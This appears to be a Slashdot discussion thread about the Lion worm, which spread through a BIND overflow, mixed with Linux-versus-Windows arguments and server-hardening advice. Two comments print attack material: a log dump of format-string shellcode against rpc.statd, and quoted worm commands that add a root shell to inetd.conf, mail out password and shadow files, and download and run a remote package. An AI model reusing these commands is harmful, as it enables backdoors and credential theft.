New Linux Worm
mspeedie writes "Seems Linux has very much arrive judging by the number of nasty virus starting to pop up. Check out the latest at:
Lion Worm Virus on Linux
" This is not a virus, its a worm that exploits a vulnerable bind to install a rootkit. Regardless, you should have tripwire or something running anyway.
Every time that a new worm or virus for email is mentioned about a Windows (type) OS this site goes crazy about reporting it and making little jokes about the inherent insecurity built into those systems... well, for a change we finally get the same problem on a Linux system! But, what does slashdot do about it? They say that "Regardless, you should have tripwire or something running anyway. " You mean to tell me that Linux is inherently insecure in its BIND implementation and that we need yet another tool to protect it? Next time an Outlook virus comes out... I expect them to say "Regardless, you should have McAfee running anyways." This type of journalism where excuses are made for Linux and other operating systems are harassed is highly unprofessional. Down with bigotry!
And if you got rootkitted, how the hell are you going to know that? Unless you keep ps on a floppy?
Did anyone else notice that, a virus/worm in a MS product its "such a bad product" but when theres a virus/worm in Linux, its "Linux is arriving!" and "its the users fault anyways".
Could sombody de-worm my GNU
Thanks
For me, djbdns has never ever core dumped and updates it's secondaries with no problem. It has also never had a security hole, for what it's worth.
Try the support mailing list.
Unless you don't really care, in that case, niether do I.
Well, djbdns isn't really Free. I can't patch it, add some security holes, and redistribute it as the original, like I can with BIND.
That is not 100% correct. See http://cr.yp.to/distributors.html. The only restriction is on redistribution of djbdns. These restrictions are not to make himself rich (if anything, he will lose money on djbdns). The restrictions are so that djbdns stays useful, functional and compatible across all platforms.
Tripwire? If you were a real admin you would look at the source for BIND, declare it garbage, and run djbdns instead.
Run BIND on production servers? Not if my life depended on it. djbdns runs chroot()'d, non-root by default and even then the author still puts up a $500 reward for anyone who can find a security hole.
I'm so glad we modern admins have a choice. djbdns is a real, safe, fast, and well documented alternative to BIND and if I were your boss I'd fire you for not switching.
Friends don't let friends run BIND!
No, this is a distributor problem. BIND is not a particularly core part of Linux (or Unix in general). It just happens to be an application that some people find useful.
Whether or not BIND is an exploit depends on a 3rd party developer. Whether or not it's even running depends on who PACKAGED your version of Linux.
OTOH, you have NO CHOICE when it comes to WinDOS distributions. If Microsoft f*cks up, you have no where else to look. If Bughat f*cks up, you can look to Caldera, Mandrake, Debian, Slackware and Suse.
A Pirate and a Puritan look the same on a balance sheet.
Well... You should be running Anti-Virus software.
:-)
Maybe it's just coincidence, but last night, I had a very weird syslog event while I was pulling down email off my (Northpoint :-) ) DSL line. Copied below is a (very badly formatted) octal dump of the relevant section of the log:
________ : :
0000000 M a r 2 3 0 1 : 5 3 : 2 7
0000020 w a l k i e s - - M A R K
0000040 - - \n M a r 2 3 0 1 : 5 4
0000060 0 4 w a l k i e s i d e n t
0000100 d [ 1 2 2 8 6 ] : s t a r t e
0000120 d \n M a r 2 3 0 1 : 5 4 : 0
0000140 7 w a l k i e s \n M a r 2
0000160 3 0 1 : 5 4 : 0 7 w a l k i
0000200 e s s y s l o g d : C a n n
0000220 o t g l u e m e s s a g e
0000240 p a r t s t o g e t h e r \n M
0000260 a r 2 3 0 1 : 5 4 : 0 7 w
0000300 a l k i e s 1 7 3 > M a r 2
0000320 3 0 1 : 5 4 : 0 7 / s b i n
0000340 / r p c . s t a t d [ 1 6 4 ]
0000360 g e t h o s t b y n a m e e
0000400 r r o r f o r ^ X 367 377 277 ^ X
0000420 367 377 277 ^ Y 367 377 277 ^ Y 367 377 277 ^ Z 367
0000440 377 277 ^ Z 367 377 277 ^ [ 367 377 277 ^ [ 367 377
0000460 277 % 8 x % 8 x % 8 x % 8 x % 8 x
0000500 % 8 x % 8 x % 8 x % 8 x % 2 3 6
0000520 x % n % 1 3 7 x % n % 1 0 x % n
0000540 % 1 9 2 x % n 220 220 220 220 220 220 220 220 220
0000560 220 220 220 220 220 220 220 220 220 220 220 220 220 220 220 220
*
0002160 220 220 220 1 300 353 | Y 211 A ^ P 211 A ^ H
0002200 376 300 211 A ^ D 211 303 376 300 211 ^ A 260 f 315
0002220 200 263 ^ B 211 Y ^ L 306 A ^ N 231 306 A ^
0002240 H ^ P 211 I ^ D 200 A ^ D ^ L 210 ^ A
0002260 260 f 315 200 263 ^ D 260 f 315 200 263 ^ E 0 300
0002300 210 A ^ D 260 f 315 \n M a r 2 3 0
0002320 1 : 5 4 : 0 7 w a l k i e s
0002340 307 ^ F / b i n 307 F ^ D / s h A 0
0002360 300 210 F ^ G 211 v ^ L 215 V ^ P 215 N ^
0002400 L 211 363 260 ^ K 315 200 260 ^ A 315 200 350 177 377
0002420 377 377 \n
0002423
________
Did someone try to h4x0r my laptop?
Schwab
Editor, A1-AAA AmeriCaptions
Actually the particular rootikit in question doesn't replace pstools. I found a trojaned stock RH 6.2 machine at work, and the worm was trying to replicate itself. It was running "hack.sh" and "scan.sh". A little after that I found the rootkit in /dev/.lib
Right. And I suppose you're going to sit there and claim that you're never hypocritical or apply double standards. If you do, you just proved my point.
-"Zow"
This statement is really indicative of another thing: cluelessness. Running tripwire will tell someone that they have been cracked! Close the barn door Edith, the cows just escaped!
Maybe the "or something" alludes to the real solution; don't run BIND, run an up-to-date patched version of BIND, run snort, etc... Maybe he should have said, "Patch early, patch often." But nooooo! Run tripwire.
BTW, this worm is really no different than the ramen worm; similar concept, different exploit. What has gotten the attention of sysadmins is that they are seeing a sudden surge in traffic to port 53. These sysadmins are the target audience of SANS, and the sysadmins don't like someone messing with their DNS. I believe that is why the Global Incident Analysis Center (GIAC) of SANS changed their current threat level to yellow. This comment was posted on GIAC (note TCP, not UDP to port 53).
BTW, the n.g. comp.os.linux.security had a posting about this (didn't know it was lion) back on Tuesday. In that thread, the guy that got cracked found this (using strings on the rogue program)
echo '1008 stream tcp nowait root /bin/sh sh' >> /etc/inetd.conf
/etc/passwd >> 1i0n
/etc/shadow >> 1i0n
/.bash_history
killall -HUP inetd;ifconfig -a > 1i0n
cat
cat
mail 1i0nip@china.com < 1i0n rm -fr 1i0n
rm -fr
lynx -dump http://XXXXXXXX.XX.net/crew.tgz >1i0n.tgz
tar -zxvf 1i0n.tgz
rm -fr 1i0n.tgz;cd lib
./1i0n.sh
I can't believe ALL of you are speaking english as a second language ... the word is
BRAKES
--
I've finally had it: until slashdot gets article moderation, I am not coming back.
> Outlook automatically executes the virus for you using a built-in scripter that has full access to your system. How is Linux crappier than that?
The fact that the user has to click on a lengthy warning dialog to execute ILOVEYOU, which amounts to nothing more than a shell script (a WSH script, specifically).
Lion can be installed remotely without your ever knowing it, using a tool that ships with almost every Linux distro. But that's the admin's fault -- for running Linux.
--
I've finally had it: until slashdot gets article moderation, I am not coming back.
The traffic you saw was likely the scanner portion looking for new victims. It randomly scans "class B" address blocks looking for new targets.
Paul
http://www.pauldrobertson.com
It would appear from a quick analysis that only the initial infection vector gets the rootkit. I've only gotten a bit of the way through the initial code, but it looks like the secondary infections all happen without the rootkit. I haven't run it yet to see for sure, but my current conjecture is that the huge blob of code is only used on the initial vector and the smaller bit is what gets replicated to each victim.
Paul
http://www.pauldrobertson.com
Sorry, it would appear that it's not a trojan, quick analysis seems to indicate that the trojaned piece isn't replicated with each subsequent infection. It's a worm, with the wormy piece coming from an HTTP server in China during the BIND exploit phase (via lynx.)
FWIW: There are more and more real viruses happening in the Windows world now that Win32's better understood by the bad guys.
Paul
http://www.pauldrobertson.com
If you don't *HAVE* to run ftpd, *don't* run it. Most especially don't run wu-ftpd. FTP is a bad protocol and every implementation I can think of has had problems, some more than others. Use a reasonably up to date HTTP server, and access control it if you allow HTTP upload. Throw on SSL and client-side certificates if you want something stronger. If you *have* to run FTP, you need to be updating it every time there's a new release (just like BIND.) A lot of us gave up on sendmail a long time ago and went to more secure mailers, http://www.postfix.org or http://www.qmail.org will make your box really zing mail out and both were written to be secure from the start. Sendmail's been pretty stable for a while now though, so it's not the concern it used to be.
As far as alerts go for public-facing services, generally you're better off following when the vendor/project team has released an update rather than trying to follow the mishmash of alerts, posts and filter the useful info out.
Paul
http://www.pauldrobertson.com
Actually, mainframes didn't get those sorts of attributes until the 70's AIR, DOS on the 360 certainly didn't have per-job file attributes, since it was a batch system.
If you want compartmentalization, ACLs, a privacy model, malcode capabilities, etc., then go to http://www.rsbac.org, patch your kernel and stop bitching.
Default configuration: Make your own distribution or script to turn everything on the way you like it. Neither is very difficult, and fixing is more productive than bitching.
Back to the task at hand- RSBAC could have stopped this worm, it's about time it went into a development kernel.
Paul
http://www.pauldrobertson.com
You're wrong. Viruses don't necessarily have to have malicious payloads to be viral, they simply have to infect files and spread themselves that way. Worms infect machines and spread themselves that way- once again no malicious payload required. After giving itself root access, it searches for *other machines* to exploit, and keeps doing that ad infinitum. That's what makes it a worm.
r m. html
r us .html
http://www.tuxedo.org/~esr/jargon/html/entry/wo
http://www.tuxedo.org/~esr/jargon/html/entry/vi
As far as malicious code, it's actually pretty boring, there are at least two examples of the exploit the worm uses to propogate, but it's definitely a worm and it appears to be in the wild.
Paul
http://www.pauldrobertson.com
Sorry, I read "that's" as "it's"- too much time disassembling :(
It is useful to note that we're getting more executable Win32 viruses now though (as opposed to scripts and macros- which are still pervasive but were pretty much all that was coming out for a while.) Our malcode guys have been predicting that for a while though. What worries me is the ELF file infector stuff. Thank goodness we haven't reached critical mass for Linux binaries yet, as there's still time to build in protection.
Paul
http://www.pauldrobertson.com
There isn't a definitive list, but there are around two dozen. The real problem with a list is that most AV companies are concerned about wild viruses, and worms, and so far that list is 2 long, ramen and 1i0n. I don't think the number of Outlook targeted things that are ITW, and most of those seem to be worms. This worm proves that bash is just as good as WSH for worms. If you look at the shell script stuff in 1i0n, you'll see that it's not all that impressive and pretty simple. Viral code seems to be a little trickier, but not majorly so compared to say Win32 viral code targeted at NT. What is difficult is getting traction with one, worms that exploit buffer overruns in common services seem to be the only things with a chance of gaining enough traction to beome a problem. Sooner or later that'll change, but for now it's enough to know that basic sysadmin skills should keep you safe.
Paul
http://www.pauldrobertson.com
The default Unix permissions model was designed for a specific purpose. It's worth pointing out that only a subset of IBM Mainframe OS' had the capabilities you describe- for instance, VM never had it. I've had RACF special and Class A-Z in VM, and I've run mainframes on everything from DOS (not the PC kind) up. Unix, originally designed for minicomputers, has grown to usage models well beyond it's original purpose, which is why some Unixes have added ACLs (some a number of years ago) and compartments and other security features (Trusted Solaris, CMW, etc.)
Not everyone needs those (unlike brakes on a car), and just like a manual transmission, not everyone can operate one, so for Linux it's optional.
Sorry if you're used to fast food, some of us enjoy ordering quality food item-by-item to get the best meal, not just the same old Happy Meal.
If you want it enough, you'll install it, if you don't, then you don't have to. If you want to wait for someone to create a turnkey distribution you can do that too. Just don't whine like a little baby that someone else isn't doing everything for you.
Actually, the quality bar has been set to "if it doesn't do it out of the box, generally someone's put a hell of a lot of work into doing it and is willing to share it and support it if you take one step in their direction." That's a hell of a lot better than "If it doesn't do it out of the box, wait until the vendor decides to release a bug-ridden version of it and if they don't want to, then you don't get that."
Hold your breath waiting for MAC-based compartments in WindowsANYTHING, or anything else that looks sufficiently B-level to provide strong security.
You might like bloated "it's all in there no matter if it's necessary or not" software systems, but they're not condusive to security and it's best when security-minded people build security critical pieces of them instead of OS-minded people, so patching for RSBAC works very well for those of us who care about security that deeply. It also makes the code easier to check when it's diffs instead of intermingled with the base kernel code.
If you buy a 2 seater sports car, don't expect it to be good at off-roading. The power of Linux is in the fact that I can get anything from RSBAC security to high-powered general purpose clusters and run the same code on them all.
If you need a silly little box around the software to make you happy, then you shouldn't be looking at Linux, it's not about inside the box.
Back on topic: RSBAC actually solves the "I don't want the administrator to be able to trojan this machine" problem as well as is possible on general purpose hardware (you can go download the international patches if you want to add another layer- or I suppose you could pay someone to do it since you seem to be allergic to actually installing software- must be hell when those new Reader Rabbit things come out!) The only other systems that come close cost tens of thousands of dollars and/or are obsolete.
Must have really pained you to choose which options you wanted on your car, or are you just walking until somone figures out how to have leather and cloth seats at the same time?
Paul
http://www.pauldrobertson.com
It is a worm. This is *exactly* that, it the larger of the two 1i0n packages gets executed on a machine, plants a bunch of trojans and goes searching for new machines which have port 53 open. If it finds them open, it exploits them to download the smaller 1i0n code which then leaves one backdoor (no trojans) and goes looking for machines that listen on port 53...
It does *not* appear to rootkit downstream infected machines, but it *does* move itself to other computers, which is what makes it a worm. Auto-exploit code is only a component of a worm if it automatically transfers itself to new machines. This code does that, therefore its a worm.
Replication if it infected "normal" programs would make it a virus, replication like this makes it a worm. Take away the self-replication and it's an exploit. All of these terms are well-defined, well-known and well-understood in the security and malcode communities.
In this case, the *worm* is the entire kit, and the exploit is a GLIBC 2.0 based executable called "bind" that's utilized by the worm to propogate via the TSIG overflow in BIND 8.2.x where x<3-REL.
"That system is left alone" is patently false in this case, since the downstream machine loads the smaller worm code and starts infecting machines of its own.
I dunno what you think a worm is, but the rest of
the community is sure that this is a worm. It's a boring worm, but it's definitely a worm.
Paul
http://www.pauldrobertson.com
If people stopped giving root God-like powers then problems like this wouldn't crop up. Patches like LIDS help put root in a jail. Someday we can pray that root, and all the trust and power that goes along with UID 0, will go away completely.
Nearly everybody did see it coming. And it will come again. That's why you fix your vulnerabilities as they are discovered.
Caution: Now approaching the (technological) singularity.
I think we've pushed this "anyone can grow up to be president" thing too far.
I don't mean to split hairs, but the word "virii" makes my skin crawl, the same way "irregardless" or "it's" used possessively does...
I'll shut up now... :-)
-B
Ash and Hickory, straight-grained and true, make excellent bludgeons, dandy for the cudgeling of vegetarians.
Really, then try this. Install qmail/svscan on a system with sendmail installed. Then try to startup qmail using svscan without shutting down sendmail. Then watch your system load jump to 5+ and your system grind to a halt. And yes it is easy to get into this situation if for example you forget to shutdown sendmail during a transition to qmail or you accidently forget to remove sendmail from the list of daemons started up at boot.
"When you sit with a nice girl for two hours, it seems like two minutes. When you sit on a hot stove for two minutes, it
You mean like this system?
http://64.252.15.27
http://Lenny.com
You wonder why so many non-techies view us as raving lunatics, or arrogant shits. This is why. All we ever seem to do is foam at the mouth about how everything not Linux is evil, and that Open Source is the One True Way. And then we strut around like pumped-up little martinets, so convinced of our own greatness, and the mistaken belief that we are infallible.
Actually as a techie, I view a lot of Slashdot's population in exactly the same way. It's a tool, people -- not a religion.
Tools chip, break, and fall apart. All tools do.
Simon
Coming soon - pyrogyra
No OS is impervious to worms, virii, trojans, etc. ... Quit using it as a reason to "make the switch to linux" in your anti-microsoft banter; you're not fooling anyone.
Yeah, but that's the equivalent of saying no nation is free of diseases. There are some places in the world you'd rather be (America, Europe, Japan, etc.) than others (Somalia, Haiti, Ghana). Better hospitals and better sanitation would be good reasons to prefer the more powerful industrialized nations. If anyone's been claiming that Linux (and UNIX in general) is invulnerable, then they really need to ask themselves why there even is an effort to make systems like OpenBSD. However, saying that one outbreak of a worm makes Linux on the same level as Windows in terms of security is like claiming that the LA riots made America equivalent to Palestine in terms of social stability.
Yes, there are Linux worms. Yes, there are Linux root-kits, designed to exploit well-known bugs in programs distributed with certain Linux distributions. Does that mean that Linux is anywhere near as vulnerable as Windows? I don't think so. Security is still a reason to switch from Windows to Linux, and a knowledgeable person who actually cares about security can put together a nearly bulletproof box with a little effort.
Could you say the same for Windows? Maybe, but it's a lot harder and takes away a lot more functionality to do so because there are fewer alternative solutions to replace the builtin solutions. (No IIS, no "Windows Networking", no Outlook, no IE, etc.)
If it's for-profit but free, you're not the customer -- you're the product (e.g., the Slashdot Beta's "audience").
What is really needed in Linux is the ability for various distributions to automatically install security updates. I realize that many admins have written scripts to do this, but this should be a default option. For dialup users, it should check for updates every time the user connects to the Internet, and for 24/7 connections it should check for updates once a day.
This post is encrypted twice with ROT-13. Documenting or attempting to crack this encryption is illegal.
Another reason I'm not worried? I'm running a chrooted bind. The feature is still labelled as "experimental" in the branch I'm running, but it works very well. There are instructions all over the net. Even if BIND is exploited, they won't get far.
The number of port 53 scans I've gotten in recent weeks should frighten the pants off anyone who is running an unpatched BIND. I would not be surprised if we see a major DDoS soon.
Boss of nothin. Big deal.
Son, go get daddy's hard plastic eyes.
Expanding a vast wasteland since 1996.
Oh, wait. I'm one of those Linux-using bastards.
No boom today. Boom tomorrow. There's always a boom tomorrow. - Cmdr. Susan Ivanova
I know their reputation, but I have never looked at the source and so I don't know why (or whether) they deserve that reputation. Anyone care to elucidate? (If possible, with a better explanation than "they're written in C". So's Apache, and it's not known for being riddled with holes (I'm sure there's been some, but its reputation isn't like BIND's or Sendmail's)).
perl -e 'fork||print for split//,"hahahaha"'
Tripwire has split into a commerical version and an open source version.
--
Strictly speaking you are absolutly correct and I stand corrected.
However, my argument still stands because most users don't consider their kernel to be their OS, and they consider their Operating System to be Linux and not GNU (which it really is as debian HURD developers will quickly point out to you). So the difference is largely a misnomer...
My point here would be that desktop users may want choices, but more importantly, they want intelligent default choices to be made for them by their distributions so they don't ever have to worry about it. This includes not defaulting to buggy software or worm vulnerable builds of BIND. A good OS will instill confidence in the user by making good default choices on their behalf (which Windows/Mac do well) and allowing them to inspect and change them if they desire (which linux does well). Both of these are the responsabilty of the distro if linux is ever to move over to the desktop.
-pos
The truth is more important than the facts.
The truth is more important than the facts.
-Frank Lloyd Wright
First of all... This is a linux problem and not just a Bind problem becuase bind gets installed in a lot of distributions by default. It's the same people who talk about linux taking over the desktop who later say that it's the user's fault that they should know what their machine is doing.
If linux is just for hackers, then fine. BUT, if you have ever expressed that you want linux to be the default instead of Mac, Windows or whatever then you owe it to yourself to be realistic about why most people use computers. It's probably different than why you do, and it's probably because they just want software that does a job for them. They don't care how it works and they shouldn't have to. We don't make fun of people who don't know what happened when their car breaks. Sure... it's respectable to know why, but it's not a sin not to.
And second...
Regardless, you should have tripwire or something running anyway
That is a total cop-out! I'm sure every one here knows that a windows user would get absolutly jumped on if they said something like that about windows security. "Security hole in windows? you should be running antivirus software. It's your own fault."
flame on.
-pos
The truth is more important than the facts.
The truth is more important than the facts.
-Frank Lloyd Wright
You probably shouldn't be running bind (or anything else). Linux's security problems are almost always created by people leaving stuff up/on/open when they don't need to.
y -default-installations" thought here...
These "people" are you and me, the admins. This problem is clearly the admin's fault.
Insert standard "wish-the-distros-would-wise-up-and-ship-closed-b
There is very little truth in your statement these days. On most recent distros you have to choose explicitly to be a server. If you don't, you have to explicitly choose to install and enable BIND. Truth be known, I doubt there are very many KDE workstations out there running named.
No, the blame lies in lazy (or nonexistant?) sysadmins. Let's face it; why is your server running BIND if it doesn't need to (you chose it from the install...)? If the machine is a nameserver, then when the advisory came out in January, did you patch up right away? If not, WHY NOT?. The vendors got updated RPMs and whatnot out fairly quickly.
For the non-existant admin problem, things like the Redhat network will help tremendously.
Not trying to flame here, but your ranting sounds like the parents who blame high-school shootings on video games and movies, when they should be pointing in the mirror. To all the slack admins out there: Enough of this sh*t. Suck it up and do your damn jobs.
FWIW, installs are getting very savvy these days, taking up the slack for the poor job a lot of admins out there are doing; check out RH's latest beta (wolverine?) install - it does ipchains config during the install.
Don't sweat the petty things. But do pet the sweaty things.
So unless you're a Linux user, or an X86 BSD user who's so whacked out he's running a linux binary of bind, you aren't affected by this worm.
-bugg
Nope, that's a trojan. Here's a quick explaination of the different terms for malicious code:
Trojan Horse ("Trojan") A Trojan is a standalone program that the user is tricked into running, which will in turn do bad things.
Virus. A virus is a program that attaches itself (infects) executables- usually anything that's ran while the virus is in memory. When an infected program is executed on a system that does not already have the virus in memory, it will usually load itself into memory for the purpose of infecting yet another system. They really haven't been seen much in recent years, as it's too much hassle and requires much more intelligence than other malicious programs. I'm sure a good portion of the slashdot audience will remember viruses such as Michaelangelo, Dark Avenger, PC-Stoned!, etc. (I was hit by Michaelangelo on it's second run-around)
Worms. A worm is any malicious program that propogates itself directly to other machines (usually via a network) whereas a virus relies on the execution of an infected program, and a trojan relies on execution of itself.
I hope that clears it up :)
-bugg
Hence the usefulness of quoting.
-bugg
Tripwire (under GPL since last year) is available at tripwire.org or through their Sourceforge project. This should have been posted with the story (if he's going to mention it, why not link it).
In the network
...with apologies to the tokens...
The mighty network
The Lion creeps tonight
All together now!
In the network
The mighty network
The Lion creeps tonight
-drin
If you do have a domain, don't run bind. It's in the same hole-a-week club as the FTP servers and Sendmail. Don't run bind.
If you absolutely must run bind, get the latest one, compile it static and run it chrooted as a user/group specifically created JUST to run bind.
Next week's class: Don't run FTPD.
I'm trying to teach myself to set people on fire with my mind... Is it hot in here?
Well then you're not running bind are you? Maybe I should have said Bind.
I think my message here is don't run Bind. You know what I'm saying?
I'm trying to teach myself to set people on fire with my mind... Is it hot in here?
Tripwire is now a pay for play product, so I suggest using something like this which is open source/free and just as good
IIRC Tripwire is GPL now. But in any case I prefer AIDE myself.
IIRC, Dan really dislikes syslog, so this may not be far from the truth.
I do not deploy Linux. Ever.
This is not a perfect world. Just because you do not know of any exploitable root holes in sshd, telnetd, apache, etc today, does not mean that one will not be found tomorrow.
It is not uncommon for exploits to be discovered and traded in the black-hat community for days, months or even years before being made public.
To believe that you will not be targeted by 'real crackers' because you are not an interesting target is a naive and dangerous assumption.
I do not deploy Linux. Ever.
Competing apps should continue to compete, but badly written monolithic software that requires root access and is a long-running source of exploits (BIND and sendmail come to mind) should be gotten rid of, not kept around for the sake of 'diversity'.
The reason that DJBDNS is not exploited where BIND is is not because one is more popular, but because BIND is written so badly that nothing short of throwing it away and starting from the ground up (as DJBDNS has done) will fix it.
I do not deploy Linux. Ever.
There are way to many machines running full services when only one or two listening processes are really needed, if that.
I do not deploy Linux. Ever.
Both Sendmail and BIND suffer from the same basic problem- they are huge monolithic programs that must be executed as root to perform their intended duties.
From the Qmail web site:Why is qmail secure? The reason I started the qmail project was that I was sick of the security holes in sendmail and other MTAs. Here's what I wrote in December 1995:
As it turned out, fourteen security holes were discovered in sendmail in 1996 and 1997.I followed seven fundamental rules in the design and implementation of qmail:
sendmail treats programs and files as addresses. Obviously random people can't be allowed to execute arbitrary programs or write to arbitrary files, so sendmail goes through horrendous contortions trying to keep track of whether a local user was ``responsible'' for an address. This has proven to be an unmitigated disaster.
In qmail, programs and files are not addresses. The local delivery agent, qmail-local, can run programs or write to files as directed by ~user/.qmail, but it's always running as that user. (The notion of ``user'' is configurable, but root is never a user. To prevent silly mistakes, qmail-local makes sure that neither ~user nor ~user/.qmail is world-writable.)
Security impact: .qmail,
like .cshrc and .exrc and various other files,
means that anyone who can write arbitrary files as a user can execute
arbitrary programs as that user. That's it.
A setuid program must operate in a very dangerous environment: a user is under complete control of its fds, args, environ, cwd, tty, rlimits, timers, signals, and more. Even worse, the list of controlled items varies from one vendor's UNIX to the next, so it is very difficult to write portable code that cleans up everything.
Of the twenty most recent sendmail security holes, eleven worked only because the entire sendmail system is setuid.
Only one qmail program is setuid: qmail-queue. Its only purpose is to add a new mail message to the outgoing queue.
The entire sendmail system runs as root, so there's no way that its mistakes can be caught by the operating system's built-in protections. In contrast, only two qmail programs, qmail-start and qmail-lspawn, run as root.
Even if qmail-smtpd, qmail-send, qmail-rspawn, and qmail-remote are completely compromised, so that an intruder has control over the qmaild, qmails, and qmailr accounts and the mail queue, he still can't take over your system. None of the other programs trust the results from these four.
In fact, these programs don't even trust each other. They are in three groups: qmail-smtpd, which runs as qmaild; qmail-rspawn and qmail-remote, which run as qmailr; and qmail-send, the queue manager, which runs as qmails. Each group is immune from attacks by the others.
(From root's point of view, as long as root doesn't send any mail, only qmail-start and qmail-lspawn are security-critical. They don't write any files or start any other programs as root.)
I have discovered that there are two types of command interfaces in the world of computing: good interfaces and user interfaces.
The essence of user interfaces is parsing: converting an unstructured sequence of commands, in a format usually determined more by psychology than by solid engineering, into structured data.
When another programmer wants to talk to a user interface, he has to quote: convert his structured data into an unstructured sequence of commands that the parser will, he hopes, convert back into the original structured data.
This situation is a recipe for disaster. The parser often has bugs: it fails to handle some inputs according to the documented interface. The quoter often has bugs: it produces outputs that do not have the right meaning. Only on rare joyous occasions does it happen that the parser and the quoter both misinterpret the interface in the same way.
When the original data is controlled by a malicious user, many of these bugs translate into security holes. Some examples: the Linux login -froot security hole; the classic find | xargs rm security hole; the Majordomo injection security hole. Even a simple parser like getopt is complicated enough for people to screw up the quoting.
In qmail, all the internal file structures are incredibly simple: text0 lines beginning with single-character commands. (text0 format means that lines are separated by a 0 byte instead of line feed.) The program-level interfaces don't take options.
All the complexity of parsing RFC 822 address lists and rewriting headers is in the qmail-inject program, which runs without privileges and is essentially part of the UA.
Keep It Simple, Stupid
I do not deploy Linux. Ever.
"One World, one Web, one Program" - Microsoft promotional ad
The Anti-Blog
The correct way to respond to this is "we've found a problem now lets make sure this problem doesn't happen again". I want to be proud of linux, I want linux to be a great operating system, that's not going to happen as long as we, conctrate more on blaming others for their mistakes and downplaying ours, then working on solutions.
This comment in particular bothers me.
Why should I need to run tripwire or any security software? If an OS is secure an idiot should be able to administer it and not worry about worms/backdoors/viruses.I like the slogan "secure by default".
I'm a computer scientist, not a writer so no comments on the grammer or spelling please.
Environmentalists are their own worst enemy. ~tricklenews.com
Why is it that whenever a M$ product get attacked by malware it's becase of crappy security in the OS, but when linux gets attacked it's because the OS has "finally arrived"? Hmmmm...
I'm so glad to see that CmdrTaco is promoting the proliferation of Linux into the community of average (read: "most") computer users with such a supportive, nurturing, and positive comment such as this. The arrogant tone of the comment makes me want to advise all of my non-expert computer using friends to download Mandrake, install it with no help from a Linux expert (it's so easy you don't need one anyway), and then proceed to use and learn it without any help from anyone, since it's so easy and intuitive. And, of course they'll all know to install tripwire "or something" because it's just that obvious.
Thanks again, CmdrTaco; you are a true representative of the Linux community in everything you say and do.
-------------------------
Stupid people suck.
See my "bastille" comment a few posts up. If you're using a redhat-derivative (RH, Mandrake, etc.), look in /etc/init.d or /etc/rc/init.d for the shell scripts that turn things on and off (e.g. /etc/init.d/named stop). Editing /etc/inetd.conf or /etc/xinetd.conf to comment out or remove the ability of the inetd-superserver to start up a connection to service X is another approach. Also see the program "ntsysv" on RH derivatives that gives you easy access to the "what starts on boot" list (hint: you can safely uncomment most of that list :) ). Note that some services (e.g. bind) run on their own continuously and some run on an as-needed, connection-oriented basis from (x)inetd (e.g. telnet, ftp) and some can run either way (ftp, ssh), the exact methods for disabling them depend...
If you have an always on connection, consider getting a personal firewall (there are bazillions of them, I've had good luck with the Linksys (linksys.com) series of products, buy.com has good (sub $100 for some models) prices on them). Even if you end up ditching linux it'll make your windows/whatever boxen on the home lan more secure.
Long term, get yourself a good book on unix administration (the armadillo book from o'reilly is a good bet (author = aeleen frisch iirc)). Read the docs on the Linux Documentation Project, particularly the book-length opus on security and system performance tuning. (www.redhat.com/mirrors/LDP is usually the mirror I use, I _think_ the home url is www.linuxdoc.org). I know it seems like a mountain of information but give yourself 6 months or so and it'll all seem clear. (plus you can get a stable, reasonbly lucrative job doing it if you devote enough time to becoming an admin to do it well).
--
News for geeks in Austin: www.geekaustin.org
News for Geeks in Austin, TX
You probably shouldn't be running bind (or anything else). Linux's security problems are almost always created by people leaving stuff up/on/open when they don't need to.
If you're a newbie, here's a partial list of things you don't need to install or have running on your new workstation: bind/named, any form of mail server (esp. sendmail), atd, smbd/nmbd (samba), inetd, any form of ftp daemon (wuftpd, et al.), NFS/NIS/portmap, basically anything that provides a service to the outside world. Machines on "always-on" connections and not behind firewalls are of course the most vulnerable...
The best policy is offering nothing, and only selectively opening up services as you need to. If you do have a machine that needs to provide a service, try to understand the service and the idiosyncracies of the server program before you offer it, and keep tabs on updates...
Insert standard "wish-the-distros-would-wise-up-and-ship-closed-by -default-installations" thought here...
--
News for geeks in Austin: www.geekaustin.org
News for Geeks in Austin, TX
GNU/Linux Worm?
--
Je t'aime Stéphanie
Before starting, it is helpful to NOT review any Linux/Unix/Security books or websites, since they will warn you about checking for service vulnerabilities. It is imperative that you don't review:
a) basic server security concepts;
b) your distros recent upgrade/patches (for the last two months);
c) reasons to run bind and how to do it safely.
Here's how to make your machine vulerable to LION:
1) Install a Linux distro.
2) Install bind, but make sure you don't install a recent version! Recent versions won't let LION in!
3) Don't install any of your distos security updates/patches.
4) Finally, connect this machine directly to the internet w/o a firewall -- it's crucial that people on the 'net be able to access your nameserver.
If you follow all these steps, your Linux machine is vulnerable to the "Lion" worm. If your Linux machine does not get infected, please review all the above steps and try again.
Treatment, not tyranny. End the drug war and free our American POWs.
See my user info for links.
Outlook automatically executes the virus for you using a built-in scripter that has full access to your system. How is Linux crappier than that?
Well that's all right then, so long as it's just those dumbass home users. What an arrogant statement. The whole Outlook virus problem is down to Microsoft and Microsoft alone, and I think they would be less despised if they just admitted it was a bad idea instead of blaming the user. But then they've got a monopoly on the desktop so to hell with their paying customers.
Kidding, kidding. But only half. Maybe not even half.
As for the latest (January 29) vulnerability (TSIG), and the worm that now exploits it, this is just yet another reason to run "named" unprivileged and chroot()'ed, and to keep up to date with advisories and patches...
As for the "$500 cash reward" for finding a security hole in djbdns, don't forget to read the fine print in the guarantee: "My judgment is final as to what constitutes a security hole in djbdns". Feh!
My ancestors evolved from primordial ooze, and all I got was this lousy Existential Angst!
My ancestors evolved from primordial ooze, and all I got was this lousy Existential Angst!
Not mentioned in the SANS report but in the NIPC advisory the trojan also installs the Tribe tfn2k flood util, giving this the potential to launch a massive DoS attack.
--
Blaming GW Bush for the Iraq war is like blaming Ronald McDonald for the poor quality of food.
This thing can be extra nasty because of the root kit, but almost anyone will notice the extra services running. Although people with old versions of bind should upgrade, its just common sense now. You might of been able to get away with an old version before now, but with this it would be a pain to have to rebuild the box.
-linux... they can't *give* that shit away.
1.) The scripting language used in Outlook, VBS(Virus Builder Script), can take advantage of the fact that *every* process in 95/98/ME runs as the "administrator" and can modify any file it wants to. This would be a windows problem.
Most NT/2000 admins add the end user of a workstation to the administrator group because most PC users are not used to dealing with file perms or a multiuser OS. This would be an expectation problem. (managing expectations is a bitch).
The problems with Outlook have been solved by adding a warning box.
In either case mentioned above a hostile program , ran by an end user can change *any* system file it wants to. This would not be possible on a OS based on Unix.
